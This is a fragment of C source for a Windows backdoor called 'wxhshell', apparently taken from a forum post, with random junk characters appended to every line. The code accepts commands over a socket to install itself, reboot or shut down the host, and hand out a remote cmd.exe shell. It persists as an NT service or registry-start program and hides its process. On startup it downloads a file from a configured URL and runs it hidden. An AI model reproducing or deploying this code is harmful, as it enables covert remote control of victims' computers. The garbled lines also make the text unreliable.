  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); GXHk{G@TS  
  } t-E'foYfr`  
  else { #Q$4EQB  
{[Yv@CpN  
    switch(cmd[0]) { yY&(?6\{<<  
  3q1O:b^eo  
  // 帮助 J-\b?R a  
  case '?': { twO)b"0  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); hc[GpZcw,  
    break; ~i  &K,  
  } VUNQ@{ST|1  
  // 安装 '0o`<xW  
  case 'i': { S2<(n,"  
    if(Install()) z1V0WDVm  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); {s`1+6_&Vz  
    else @cjhri|vH  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); :Z< 5iLq  
    break; xaeY^"L  
    } nh E!Pk  
  // 卸载 \XB71DUF  
  case 'r': { FG8bP  
    if(Uninstall()) - z|idy{  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); H=yD}!j  
    else G&Cl:CtC  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); C ]r$   
    break; j?&FK  
    } F^ Q  
  // 显示 wxhshell 所在路径 >ueJ+sgH  
  case 'p': { 3\'.1p  
    char svExeFile[MAX_PATH]; h hd n9n  
    strcpy(svExeFile,"\n\r"); |Ec$%  
      strcat(svExeFile,ExeFile); 3]c<7vdl  
        send(wsh,svExeFile,strlen(svExeFile),0); ~F' $p  
    break; \!YPht  
    } nFB;!r  
  // 重启 -D(Ubk Pw  
  case 'b': { !w/~dy  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 2{#quXN9  
    if(Boot(REBOOT)) ucA6s:!={  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); v-Br)lLv  
    else { }%jb/@~  
    closesocket(wsh); }_gq vgI>p  
    ExitThread(0); s]2k@3|e  
    } uvmNQg  
    break; iT|+<h  
    } -)$)<k  
  // 关机 M>v M@j  
  case 'd': { @:c 1+  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); I H:Hf v  
    if(Boot(SHUTDOWN)) AN.`tv  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); e3Lf'+G\  
    else { :V_$?S  
    closesocket(wsh); goHr# @  
    ExitThread(0); IXg${I}_Q  
    } glv(`cQ  
    break; | z('yy$  
    }  vG  
  // 获取shell =)bZSb"<"  
  case 's': { z_Qw's  
    CmdShell(wsh); |H@M-  
    closesocket(wsh); ~XZ1,2jA/  
    ExitThread(0); r":<1+07  
    break; GUcuD^Fe  
  } |Y])|`_'G  
  // 退出 2cmqtlW"  
  case 'x': { [&zP$i&  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); i "-#1vy=  
    CloseIt(wsh); V K NCK  
    break; U2bb|6j  
    } ,3W a~\/Q  
  // 离开 7)a=B! 8M  
  case 'q': { A+ f{j  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); *v 8 ]99N  
    closesocket(wsh); -J[D:P.Z  
    WSACleanup(); a.Mp1W  
    exit(1); G;^iwxzhO  
    break; 60p1.;' /a  
        } v h%\ " h  
  } Z4(2&t^  
  } nrf%/L  
=LT({8  
  // 提示信息 F*NIs:3;  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 1fC|_V(0  
} ZU:gNO0  
  } hwXp=not(  
R UX  
  return; QOP*vH >J  
} tq*Q|9j7VG  
_@@S,(MA  
// shell模块句柄 n@%'Nbc>b  
int CmdShell(SOCKET sock) 8l}|.Q#--  
{ x Apa+j6I  
STARTUPINFO si; iF 67  
ZeroMemory(&si,sizeof(si)); N..u<06j/  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 2`Pk@,:_  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; "jpjBH:c$  
PROCESS_INFORMATION ProcessInfo; ~ h:^Q  
char cmdline[]="cmd"; ^< E,aCy  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); "~+K`*0r8  
  return 0; ~\oJrRYR`  
} SS`\,%aog  
)pvZM?  
// 自身启动模式 $GPA6  
int StartFromService(void) j&&^PH9ZY  
{ ct]5\g?U'  
typedef struct Y]n^(V  
{ 4+W}TKw  
  DWORD ExitStatus; V3`*LU  
  DWORD PebBaseAddress; "Srp/g]a  
  DWORD AffinityMask; N7M^  
  DWORD BasePriority; )q=1<V44d  
  ULONG UniqueProcessId; JRo{z{!O6  
  ULONG InheritedFromUniqueProcessId; V,Gt5lL&/!  
}   PROCESS_BASIC_INFORMATION; aI\VqOt]  
-I|yi'  
PROCNTQSIP NtQueryInformationProcess; tb=(L  
<<`."RY#0  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; RSnK`N\9jb  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; /stED{j,  
`Y[zF1$kz^  
  HANDLE             hProcess; M9N|Ql  
  PROCESS_BASIC_INFORMATION pbi; _{ba  
|_ @iaLE  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); gVD!.  
  if(NULL == hInst ) return 0; $Z(zO;k.  
r*3;gyG.,#  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); m.$Oo Mu'  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); {-E{.7  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); \(z)]D  
gr2zt&Z4  
  if (!NtQueryInformationProcess) return 0; ,sc>~B@Q  
% ,X(GwX  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ' Wi*[  
  if(!hProcess) return 0; *i\7dJ Dj  
uUJ2d84tV  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Yw{](qG7e`  
w5[POo' 5  
  CloseHandle(hProcess); w?/,LV  
 r>G$u  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); %_ z]iz4  
if(hProcess==NULL) return 0; fkI<RgM  
Zkz:h7GUG-  
HMODULE hMod; @&~BGh  
char procName[255]; mDq0 1fU4  
unsigned long cbNeeded; tL3(( W"  
*&U9npN  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 1X{A}9nA  
"RG.vo7b  
  CloseHandle(hProcess); &{ f5F7E@  
FIS-xpv$  
if(strstr(procName,"services")) return 1; // 以服务启动 ~pw_*AN  
d_yqmx?w  
  return 0; // 注册表启动 bcZHFX  
} <h;P<4JX  
xCQ<G{;C  
// 主模块 _&:o"""Wf  
int StartWxhshell(LPSTR lpCmdLine) JhD8.@} b~  
{ 56v<!L5%  
  SOCKET wsl; HL)1{[|`  
BOOL val=TRUE; EU\1EBT^  
  int port=0; IGp-`%9  
  struct sockaddr_in door; :2?'mKa7  
%TR->F  
  if(wscfg.ws_autoins) Install(); 8"4`W~ 3  
H(g&+Wcu=  
port=atoi(lpCmdLine); T"0a&.TLj  
9!R!H&  
if(port<=0) port=wscfg.ws_port; f{+8]VA  
$Qm;F% >  
  WSADATA data;  10DS  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; %d=-<EQ|&  
`P GWu1/  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Oa7W&wi  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); w S;(u[W  
  door.sin_family = AF_INET; |{_%YM($  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 5]F9o9]T  
  door.sin_port = htons(port); ?hwQY}   
C f+O7Y`^  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { q|j;dI&  
closesocket(wsl); M 35}5+  
return 1; 6qw_|A&g  
} [Y:HVr,  
vCi:c Ip/  
  if(listen(wsl,2) == INVALID_SOCKET) { d }]b  
closesocket(wsl); 5}By2Tx  
return 1; K@d`jb4T  
} ElYHA  
  Wxhshell(wsl); fG.w;Aemv5  
  WSACleanup(); S#""((U$  
CsE|pXVG  
return 0; hMDyE.X-  
vWgh?h/ot  
} R `'@$"  
Rc6Rk!^  
// 以NT服务方式启动 7'<4'BGzl]  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) [s2%t"H-y  
{ '-*r&:  
DWORD   status = 0; Dg]i};  
  DWORD   specificError = 0xfffffff; KYeA=  
A 7sej  
  serviceStatus.dwServiceType     = SERVICE_WIN32; E dU3k'z$  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 6Qo6 T][  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; iff U}ce  
  serviceStatus.dwWin32ExitCode     = 0; '}}DPoV  
  serviceStatus.dwServiceSpecificExitCode = 0; l@GpVdrv  
  serviceStatus.dwCheckPoint       = 0; q6,xsO,+  
  serviceStatus.dwWaitHint       = 0; qItI):9U  
%tu{`PN<  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); w%$n)7<*  
  if (hServiceStatusHandle==0) return; 0lBl5k e  
sG}9l1  
status = GetLastError(); O_:Q#  
  if (status!=NO_ERROR) 3 C[ ;2  
{ X)|%[aX}q  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; o3`Z@-.G  
    serviceStatus.dwCheckPoint       = 0; q!7\`>.2:{  
    serviceStatus.dwWaitHint       = 0; ?/u&U\P  
    serviceStatus.dwWin32ExitCode     = status; x r=f9?%R  
    serviceStatus.dwServiceSpecificExitCode = specificError; ;3-ssF}k*  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); A+dY~@*a  
    return; )dvOg'it  
  } x~mXtqg  
Isi ,Tl ^  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; n%O`K{86  
  serviceStatus.dwCheckPoint       = 0; ^X?[zc GE  
  serviceStatus.dwWaitHint       = 0; ;Joo!CXHO  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); .K0BK)axO  
} Z uE 0'9  
2ru6 bIb;  
// 处理NT服务事件,比如:启动、停止 Ex Qld  
VOID WINAPI NTServiceHandler(DWORD fdwControl) c.XLEjV|  
{ @e slF  
switch(fdwControl) I4)vJ0  
{ Obd!  
case SERVICE_CONTROL_STOP: `W/6xm(X5;  
  serviceStatus.dwWin32ExitCode = 0; o]FQ)WRB  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 'z\F-Ttq  
  serviceStatus.dwCheckPoint   = 0; fHgfI@{=j  
  serviceStatus.dwWaitHint     = 0; v|e\o~2D`  
  { _l  Jj6=  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); WRnUF[y+)  
  } %:/;R_  
  return; !l&lb]V cz  
case SERVICE_CONTROL_PAUSE: &fTCY-W[  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; <>R7G)w F  
  break; kxO$Uk&TX  
case SERVICE_CONTROL_CONTINUE: :Rq D0>1  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; *R:nB)(6<  
  break; 5|/vc*m_0'  
case SERVICE_CONTROL_INTERROGATE: m1cyCD  
  break; nQgn^z#  
}; D +oo5  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); EuAa  
} g5?Fo%W  
u|Ai<2b$  
// 标准应用程序主函数 }%}eyLm(  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) MRa>@Jn??A  
{ x 1 _(j  
 Wi|.Z/  
// 获取操作系统版本 b!N`@m=  
OsIsNt=GetOsVer(); 6yR7RF}  
GetModuleFileName(NULL,ExeFile,MAX_PATH); JAn3  
6?`py}:  
  // 从命令行安装 $51#xe  
  if(strpbrk(lpCmdLine,"iI")) Install(); ^=@%@mR/[C  
U9 If%0P  
  // 下载执行文件 @GEvI2Vf.0  
if(wscfg.ws_downexe) { yWs/~5[F  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) }`eeItI+  
  WinExec(wscfg.ws_filenam,SW_HIDE); ,p2 Di  
} duM>( y  
,5/gNg  
if(!OsIsNt) { \gzNMI*  
// 如果时win9x,隐藏进程并且设置为注册表启动 g_q{3PW.  
HideProc(); HS2)vd@)  
StartWxhshell(lpCmdLine); )oNomsn  
} &oR&NKk  
else 'J\%JAR@  
  if(StartFromService()) @B[V'|  
  // 以服务方式启动 59)PJ0E  
  StartServiceCtrlDispatcher(DispatchTable); g,1\Gj%y  
else _7;#0B  
  // 普通方式启动 ru U|  
  StartWxhshell(lpCmdLine); #8(@a Y  
ugL$W@   
return 0; rN*4Y  
}
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只看该作者 1 发表于: 2006-10-10
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